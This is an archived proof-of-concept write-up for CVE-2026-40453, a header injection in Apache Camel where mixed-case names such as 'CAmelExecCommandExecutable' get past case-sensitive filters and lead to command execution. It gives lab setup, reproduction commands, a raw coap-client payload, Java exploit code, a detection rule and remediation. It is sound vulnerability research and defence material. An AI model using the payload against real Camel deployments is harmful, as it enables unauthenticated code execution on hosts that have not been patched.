PoC Archive PoC Archive
CVE-2026-40453 category: web CVSS 9.9 (CRITICAL)
Patched

Apache Camel Case-Variant Header Injection to Code Execution (CVE-2026-40453)

Published: 2026-11-27 • Researcher: Andrea Cosentino (oscerd, PoC author); vulnerability reported by Saroj Khadka, fix tracked as CAMEL-23313

Target software Apache Camel — the non-HTTP HeaderFilterStrategy implementations (camel-coap, camel-jms, camel-sjms, camel-google-pubsub) and any route that forwards their exchanges to header-driven producers such as camel-exec or camel-file
Affected versions From 3.0.0 before 4.14.6; from 4.15.0 before 4.18.2; from 4.19.0 before 4.20.0. Fixed in 4.14.6, 4.18.2 and 4.20.0. The reproducer pins Camel 4.18.1
Status Weaponized
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-40453
Category
web
Affected product
Apache Camel — the non-HTTP HeaderFilterStrategy implementations (camel-coap, camel-jms, camel-sjms, camel-google-pubsub) and any route that forwards their exchanges to header-driven producers such as camel-exec or camel-file
Affected versions
From 3.0.0 before 4.14.6; from 4.15.0 before 4.18.2; from 4.19.0 before 4.20.0. Fixed in 4.14.6, 4.18.2 and 4.20.0. The reproducer pins Camel 4.18.1
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-08 (upstream commit d2951a0843174ca1c8ab4ebabc72e914168685ef, “CVE-2026-40453: case-variant Camel header injection (camel-coap) reproducer”)
Author / ResearcherAndrea Cosentino (oscerd, PoC author); vulnerability reported by Saroj Khadka, fix tracked as CAMEL-23313
CVE / AdvisoryCVE-2026-40453
Categoryweb
SeverityCritical
CVSS Score9.9 (CVSS 3.1 — per CVE record / NVD); EPSS 0.01963
StatusWeaponized
TagsApache Camel, camel-coap, camel-exec, header-injection, case-insensitive, CWE-178, incomplete-fix, RCE, Spring Boot, Java, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Camel — the non-HTTP HeaderFilterStrategy implementations (camel-coap, camel-jms, camel-sjms, camel-google-pubsub) and any route that forwards their exchanges to header-driven producers such as camel-exec or camel-file
Versions AffectedFrom 3.0.0 before 4.14.6; from 4.15.0 before 4.18.2; from 4.19.0 before 4.20.0. Fixed in 4.14.6, 4.18.2 and 4.20.0. The reproducer pins Camel 4.18.1
Language / PlatformJava 17+ (reproducer runs on Spring Boot 3.2 with Camel 4.18.1, packaged as a jar on eclipse-temurin:21-jre); attacker client uses Californium CoAP
Authentication RequiredNo — any party able to deliver a message to the CoAP endpoint (or, in the JMS variants, any producer with broker access)
Network Access RequiredYes — UDP/CoAP on port 5683 to the vulnerable route; the bundled reproduction helper is also exposed over HTTP on 8080

Summary

The fix for CVE-2025-27636 added setLowerCase(true) to HttpHeaderFilterStrategy so that case-variant internal header names such as CAmelExecCommandExecutable would be filtered along with the canonical CamelExecCommandExecutable. That call was never applied to five non-HTTP strategies, including CoAPHeaderFilterStrategy, which still matches Camel and camel prefixes case-sensitively. Camel stores exchange headers in a case-insensitive map, so a header whose casing slips past the filter is still resolved under its canonical name by downstream components. The archived reproducer sends a CoAP request with a mixed-case exec header, bypassing the filter and overriding the route’s configured command, which yields command execution with the Camel process’s privileges.

Vulnerability Details

Root Cause

The 2025 hardening of HttpHeaderFilterStrategy relied on lowercasing incoming header names before a startsWith(“camel”) test. The equivalent setLowerCase(true) call was not added to JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy or GooglePubsubHeaderFilterStrategy. Those strategies apply a case-sensitive check: startsWith(“Camel”) is true for CamelExecCommandExecutable (stripped) but false for CAmelExecCommandExecutable (capital A), so the variant is copied into the exchange untouched. Because the Camel Exchange header map is case-insensitive, the injected header and the canonical name are the same map key, and camel-exec resolves CamelExecCommandExecutable when it builds its command — the filter and the consumer disagree about which spelling matters. The same asymmetry lets an attacker override CamelFileName or CamelExecCommandArgs, so arbitrary file write is reachable on routes using camel-file.

Attack Vector

A crafted CoAP request to a route such as coap://host:5683/run whose query string carries CAmelExecCommandExecutable and CAmelExecCommandArgs. The CoAP consumer maps query parameters into exchange headers; the case-sensitive filter does not recognize the mixed-case names, the exec producer does, and the route’s configured command is replaced. The JMS and Google Pub/Sub variants require only message-producer access to the broker or topic that an affected route consumes. No authentication is involved at either layer.

Impact

Remote code execution in the context of the Camel application, demonstrated by creating an arbitrary file through /usr/bin/touch; replacing the executable and its arguments gives full command execution. Routes that forward untrusted messages into camel-file can instead be driven to write attacker-controlled content to attacker-chosen paths, which commonly escalates to code execution (for example by overwriting a startup script or authorized_keys). Because Camel routes frequently bridge messaging systems into file, shell or mail producers, the flaw turns message-producer access — often treated as lower privilege — into host-level compromise.

Environment / Lab Setup

Output
OS:          Linux x86_64 with Docker and docker compose
Target:      Spring Boot 3.2 application embedding Apache Camel 4.18.1 (affected),
             route coap://0.0.0.0:5683/run -> exec:echo?args=hello
Attacker:    The bundled ExploitController (a CoAP client served over HTTP on :8080),
             or any CoAP client such as coap-client from libcoap
Tools:       JDK 17+, Maven 3.8+, Docker, curl

The compose file builds an image from the pre-built jar, so Maven must package the application before the container is started. The application exposes three helper endpoints under /exploit: /normal (no injected headers), /canonical (canonical Camel headers, expected to be filtered) and /attack (mixed-case headers, expected to bypass).

Setup Steps

Shell script
1
2
3
mvn clean package -DskipTests
docker compose up -d --build
docker logs -f cve-2026-40453   # wait for "Started Application"

Proof of Concept

Step-by-Step Reproduction

  1. Build and start the vulnerable route

    Shell script
    1
    2
    
    mvn clean package -DskipTests
    docker compose up -d --build
  2. Baseline — the route runs the configured command

    Shell script
    1
    
    curl http://localhost:8080/exploit/normal      # -> CoAP response ... hello
  3. Negative control — canonical Camel headers are filtered

    Shell script
    1
    2
    3
    
    curl http://localhost:8080/exploit/canonical
    # injects CamelExecCommandExecutable=/usr/bin/touch, CamelExecCommandArgs=/tmp/pwned-canonical
    # -> ... created: false
  4. Attack — mixed-case headers bypass the case-sensitive filter

    Shell script
    1
    2
    3
    
    curl http://localhost:8080/exploit/attack
    # injects CAmelExecCommandExecutable=/usr/bin/touch, CAmelExecCommandArgs=/tmp/pwned
    # -> ... created: true
  5. Confirm the command really ran in the target container

    Shell script
    1
    
    docker exec cve-2026-40453 ls -la /tmp/pwned
  6. Cleanup

    Shell script
    1
    
    docker compose down

A raw CoAP equivalent, without the helper controller, sends the same two query parameters: coap-client -m get "coap://127.0.0.1:5683/run?CAmelExecCommandExecutable=/usr/bin/touch&CAmelExecCommandArgs=/tmp/pwned".

Exploit Code

See src/main/java/com/example/ExploitController.java (attacker client) and src/main/java/com/example/CoapExecRoute.java (victim route) in this folder.

Java source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// Minimal excerpt — full version in src/main/java/com/example/ExploitController.java
private static final String COAP_BASE = "coap://localhost:5683/run";

@GetMapping("/attack")
public String attack() {
    String proof = "/tmp/pwned";
    deleteQuietly(proof);
    // Mixed-case "CAmel" bypasses the case-sensitive CoAPHeaderFilterStrategy
    String resp = coapGet("CAmelExecCommandExecutable=/usr/bin/touch&CAmelExecCommandArgs=" + proof);
    boolean created = Files.exists(Path.of(proof));
    return ">>> " + proof + " created: " + created
         + "   (expected TRUE — case-variant bypasses the case-sensitive filter -> exec RCE)";
}

Expected Output

Output
$ curl http://localhost:8080/exploit/canonical
Injected CANONICAL headers: CamelExecCommandExecutable / CamelExecCommandArgs
CoAP response: hello
>>> /tmp/pwned-canonical created: false   (expected FALSE — the filter strips canonical Camel* headers)

$ curl http://localhost:8080/exploit/attack
Injected CASE-VARIANT headers: CAmelExecCommandExecutable / CAmelExecCommandArgs
CoAP response: hello
>>> /tmp/pwned created: true   (expected TRUE — case-variant bypasses the case-sensitive filter -> exec RCE)

$ docker exec cve-2026-40453 ls -la /tmp/pwned
-rw-r--r-- 1 root root 0 Nov 27 15:10 /tmp/pwned

The trailing “CoAP response: hello” in the attack case is expected: the touch command produces no stdout, so the response body still reflects the echo producer’s default output while the injected command runs.

Detection & Indicators of Compromise

Output
?CAmelExecCommandExecutable=...   ?cAmelExecCommandArgs=...   ?CAMELFileName=...

SIEM / IDS rule (example):

Output
alert udp any any -> any 5683 (msg:"Camel case-variant header injection attempt (CVE-2026-40453)"; \
  content:"CAmel"; nocase; content:"ExecCommand"; nocase; sid:9004201;)

Because the attack is a single small UDP datagram (or a single broker message), packet capture on 5683 and broker-side header dumps are the reliable evidence sources; correlate with the Camel process spawning a child it has never spawned before.

Remediation

ActionDetail
PatchUpgrade to Apache Camel 4.14.6, 4.18.2 or 4.20.0 (CAMEL-23313 adds setLowerCase(true) to the five non-HTTP HeaderFilterStrategy implementations)
WorkaroundStrip internal headers case-insensitively before any header-driven producer — a custom HeaderFilterStrategy with setLowerCase(true), a removeHeaders pattern, or a filter that rejects header names matching the reserved prefix in any casing
Config HardeningDo not route untrusted JMS, CoAP or Pub/Sub messages directly into camel-exec, camel-file or other header-driven producers; when such routes are unavoidable, pin the executable and arguments in the endpoint URI and remove inbound Camel* headers first
Detection Follow-upReview Camel and container logs for unexpected exec invocations and for files created by the application user after a suspicious CoAP or broker message

References

Notes

Verdict: genuine, non-malicious reproducer. The repository is a self-contained Spring Boot application with a victim Camel route (coap to exec) and a bundled CoAP attacker client that contrasts canonical and mixed-case header injection, reporting whether the proof file was created. It contains no persistence, evasion, C2 or credential-theft code; the only side effect is the creation of a marker file by touch, and the upstream README documents the expected results. Archived as-is apart from an added disclaimer header in ExploitController.java.

Files copied: pom.xml, Dockerfile, docker-compose.yml, src/main/resources/application.properties, src/main/java/com/example/Application.java, CoapExecRoute.java, ExploitController.java, and the upstream README as upstream-README.md. Not copied: .gitignore, the .git directory, Maven target output and the built jar (compile with mvn clean package -DskipTests).

CWE discrepancy: the CVE record classifies the issue as CWE-178 (improper handling of case sensitivity); the upstream README calls it CWE-20 (improper input validation). Both describe the same filter/consumer casing mismatch; tags use the record’s CWE-178.

License: the repository declares no license. The code is an Apache Camel example by a Camel committer; copyright remains with the author, and it is archived here for research and defensive reference only.

Limitations: the reproducer demonstrates the coap strategy only, though the advisory lists JMS, SJMS and Google Pub/Sub as equally affected — those variants need a broker and are not exercised here; the lab requires a Maven build plus Docker and binds UDP/5683, which can conflict with a local CoAP service; the helper controller is itself an unauthenticated remote trigger, so the lab must stay on loopback or an isolated network; and the PoC depends on Camel 4.18.1, which is affected, so no result is meaningful against 4.18.2 or later.